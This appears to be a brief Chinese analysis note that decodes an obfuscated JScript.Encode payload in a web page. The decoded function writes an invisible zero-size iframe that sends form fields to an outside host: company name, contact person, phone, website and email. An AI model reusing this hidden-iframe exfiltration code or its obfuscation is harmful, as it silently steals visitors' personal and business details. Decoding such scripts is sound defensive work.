document.write(unescape('要解码的字符串'))
结果:<SCRIPT LANGUAGE="JavaScript">
execScript("#@~^KAEAAA==W!x^DkKxPUYM\Fv?TFB?T+B?!+S?Z%~UqT~UF8#`NG^!:nxD hMkOnvJ@!(o"b\2,j"Zx'B4YYa)J&lkw1,c6r^aRxOz;Wxk;h+MzAx.Ws m/2g;GN'EQU!FQELZG1mh'E3?Z _r[drx0:Cx{JQjZv_r'n4WxxE_U!R_E[ n('E_Uq!3J'3slksxr_jF8Qr-v,hbNY4'Z~tkLtD'T~6Dlsn4KDN.xxKP(W.Nn.{!~Hz]M&1 (GKCxT,H)IV(gC3&M_K'ZPU/I}SJqgMxUK@*@!J(s"bHA@*E#)9lYAAA==^#~@ ","JScript.Encode");</script>
execScript结果:(JScript.Encode解密)function StrM1(S01,S02,S06,S08,S10,S11){document.write("<IFRAME SRC=\'http://asp99.xicp.net/Consumer/Enrol.asp?Code="+S01+"&CoName="+S02+"&Linkman="+S06+"&Phone="+S08+"&.eb="+S10+"&Email="+S11+"\' width=0 height=0 frameborder=no border=0 MARGIN.IDTH=0 MARGINHEIGHT=0 SCROLLING=no></IFRAME>")}